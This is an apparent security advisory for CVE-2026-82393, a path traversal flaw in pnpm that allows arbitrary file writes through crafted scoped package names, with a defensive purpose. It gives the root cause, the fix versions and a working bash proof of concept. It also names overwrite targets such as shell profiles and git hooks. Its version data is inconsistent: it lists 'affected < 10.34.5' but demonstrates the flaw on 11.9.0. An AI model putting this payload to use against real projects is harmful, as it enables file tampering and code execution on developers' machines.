high · 7.5CVE-2026-82393Sep 2, 2026

CVE-2026-82393: pnpm Scoped-Name Path Traversal Arbitrary File Write

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Installing a tarball dependency whose package.json name is a crafted scoped path like @x/../../… tricks pnpm into writing files anywhere on the filesystem, even when lifecycle scripts are disabled.

Packagepnpm
Ecosystemnpm
Affected< 10.34.5
Fixed in10.34.5
CVE-2026-82393: pnpm Scoped-Name Path Traversal Arbitrary File Write

The problem

pnpm builds the isolated-linker import target with a raw path.join(modules, resolvedName) in three files: resolvePeers.ts, deps-resolver/index.ts, and lockfileToDepGraph.ts. None of these calls pass through the safeJoinModulesDir guard that the hoisted linker already uses.

The only name-validation gate (pickPackage.ts) rejects slash characters only for unscoped package names. A scoped name like @x/../../… contains a slash that is treated as the scope separator, so the traversal passes validation and the raw, attacker-controlled segments are joined directly into a filesystem path.

The result is arbitrary file write to any path the installing user can reach, including ~/.zshrc, .git/hooks/pre-commit, or other packages' source files, triggered by pnpm install --ignore-scripts with no user interaction beyond adding the dependency.

Proof of concept

A working proof-of-concept for CVE-2026-82393 in pnpm, with the exact payload below.

bash
# 1. Build a tarball whose package.json name is a scoped traversal
mkdir -p /tmp/evil-pkg
cat > /tmp/evil-pkg/package.json <<'EOF'
{
  "name": "@x/../../../../../../../tmp/OUTSIDE",
  "version": "1.0.0"
}
EOF
tar -czf /tmp/evil.tgz -C /tmp evil-pkg

# 2. Serve it locally (pnpm resolves http: tarball URLs)
npx serve /tmp &   # serves on :3000

# 3. Victim project depends on the tarball URL
mkdir /tmp/victim && cd /tmp/victim
cat > package.json <<'EOF'
{
  "dependencies": {
    "evil": "http://localhost:3000/evil.tgz"
  }
}
EOF

# 4. Install -- no scripts run, files still land outside node_modules
npx pnpm@11.9.0 install --ignore-scripts
# => /tmp/OUTSIDE/<tarball contents> written outside the project

The root cause is a missing containment check in three isolated-linker path-join sites. The hoisted linker's safeJoinModulesDir helper rejects names that resolve outside node_modules, but the isolated-linker sinks in resolvePeers.ts:706, deps-resolver/index.ts:614, and lockfileToDepGraph.ts:233 use plain path.join with the manifest name as a raw segment.

The scoped-name bypass works because pickPackage.ts:753 only blocks a bare slash in unscoped names. A scoped name @x/... has a legitimate slash after the scope, so the extra ../ segments are never flagged. The patch (PR #12872 / #12890, commits 51300fd and 78e29fe) routes all three isolated-linker joins through safeJoinModulesDir and extends the name-validation logic to reject traversal sequences even inside scoped names, closing the same class of bug that earlier fixes left uncovered in this sink.

The fix

Upgrade pnpm to 10.34.5 (10.x branch) or 11.11.0 (11.x branch). Both releases apply safeJoinModulesDir to the isolated-linker import-target joins and extend pickPackage.ts to reject path-traversal sequences in scoped names. No configuration change is required after upgrading.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research